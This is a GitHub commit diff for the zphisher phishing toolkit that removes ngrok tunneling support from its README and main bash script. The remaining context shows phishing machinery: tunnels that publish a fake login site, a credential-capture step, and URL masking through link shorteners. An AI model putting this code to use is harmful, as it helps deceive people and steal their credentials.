Skip to content

Commit 7574373

Browse files
committed
feat: remove ngrok
1 parent 7a525d0 commit 7574373

File tree

2 files changed

+3
-49
lines changed

2 files changed

+3
-49
lines changed

README.md

Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,6 @@ It only demonstrates "how phishing works". <b>You shall not misuse the informati
4242
- Beginners friendly
4343
- Multiple tunneling options
4444
- Localhost
45-
- Ngrok
4645
- Cloudflared
4746
- LocalXpose
4847
- Mask URL support

zphisher.sh

Lines changed: 3 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -153,7 +153,7 @@ reset_color() {
153153

154154
## Kill already running process
155155
kill_pid() {
156-
check_PID="php ngrok cloudflared loclx"
156+
check_PID="php cloudflared loclx"
157157
for process in ${check_PID}; do
158158
if [[ $(pidof ${process}) ]]; then # Check for Process
159159
killall ${process} > /dev/null 2>&1 # Kill the Process
@@ -300,25 +300,6 @@ download() {
300300
fi
301301
}
302302

303-
## Install ngrok
304-
install_ngrok() {
305-
if [[ -e ".server/ngrok" ]]; then
306-
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${GREEN} Ngrok already installed."
307-
else
308-
echo -e "\n${GREEN}[${WHITE}+${GREEN}]${CYAN} Installing ngrok..."${WHITE}
309-
arch=`uname -m`
310-
if [[ ("$arch" == *'arm'*) || ("$arch" == *'Android'*) ]]; then
311-
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm.tgz' 'ngrok'
312-
elif [[ "$arch" == *'aarch64'* ]]; then
313-
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-arm64.tgz' 'ngrok'
314-
elif [[ "$arch" == *'x86_64'* ]]; then
315-
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-amd64.tgz' 'ngrok'
316-
else
317-
download 'https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-linux-386.tgz' 'ngrok'
318-
fi
319-
fi
320-
}
321-
322303
## Install Cloudflared
323304
install_cloudflared() {
324305
if [[ -e ".server/cloudflared" ]]; then
@@ -468,28 +449,6 @@ capture_data() {
468449
done
469450
}
470451

471-
## Start ngrok
472-
start_ngrok() {
473-
cusport
474-
echo -e "\n${RED}[${WHITE}-${RED}]${GREEN} Initializing... ${GREEN}( ${CYAN}http://$HOST:$PORT ${GREEN})"
475-
{ sleep 1; setup_site; }
476-
echo -e "\n"
477-
read -n1 -p "${RED}[${WHITE}-${RED}]${ORANGE} Change Ngrok Server Region? ${GREEN}[${CYAN}y${GREEN}/${CYAN}N${GREEN}]:${ORANGE} " opinion
478-
[[ ${opinion,,} == "y" ]] && ngrok_region="eu" || ngrok_region="us"
479-
echo -e "\n\n${RED}[${WHITE}-${RED}]${GREEN} Launching Ngrok..."
480-
481-
if [[ `command -v termux-chroot` ]]; then
482-
sleep 2 && termux-chroot ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
483-
else
484-
sleep 2 && ./.server/ngrok http --region ${ngrok_region} "$HOST":"$PORT" --log=stdout > /dev/null 2>&1 &
485-
fi
486-
487-
sleep 8
488-
ngrok_url=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -Eo '(https)://[^/"]+(.ngrok.io)')
489-
custom_url "$ngrok_url"
490-
capture_data
491-
}
492-
493452
## Start Cloudflared
494453
start_cloudflared() {
495454
rm .cld.log > /dev/null 2>&1 &
@@ -565,7 +524,6 @@ tunnel_menu() {
565524
cat <<- EOF
566525
567526
${RED}[${WHITE}01${RED}]${ORANGE} Localhost
568-
${RED}[${WHITE}02${RED}]${ORANGE} Ngrok.io ${RED}[${CYAN}Account Needed${RED}]
569527
${RED}[${WHITE}03${RED}]${ORANGE} Cloudflared ${RED}[${CYAN}Auto Detects${RED}]
570528
${RED}[${WHITE}04${RED}]${ORANGE} LocalXpose ${RED}[${CYAN}NEW! Max 15Min${RED}]
571529
@@ -577,10 +535,8 @@ tunnel_menu() {
577535
1 | 01)
578536
start_localhost;;
579537
2 | 02)
580-
start_ngrok;;
581-
3 | 03)
582538
start_cloudflared;;
583-
4 | 04)
539+
3 | 03)
584540
start_loclx;;
585541
*)
586542
echo -ne "\n${RED}[${WHITE}!${RED}]${RED} Invalid Option, Try Again..."
@@ -625,7 +581,7 @@ custom_url() {
625581
tinyurl="https://tinyurl.com/api-create.php?url="
626582

627583
{ custom_mask; sleep 1; clear; banner_small; }
628-
if [[ ${url} =~ [-a-zA-Z0-9.]*(ngrok.io|trycloudflare.com|loclx.io) ]]; then
584+
if [[ ${url} =~ [-a-zA-Z0-9.]*(trycloudflare.com|loclx.io) ]]; then
629585
if [[ $(site_stat $isgd) == 2* ]]; then
630586
shorten $isgd "$url"
631587
elif [[ $(site_stat $shortcode) == 2* ]]; then
@@ -950,7 +906,6 @@ main_menu() {
950906
kill_pid
951907
dependencies
952908
check_status
953-
install_ngrok
954909
install_cloudflared
955910
install_localxpose
956911
main_menu

0 commit comments

Comments
 (0)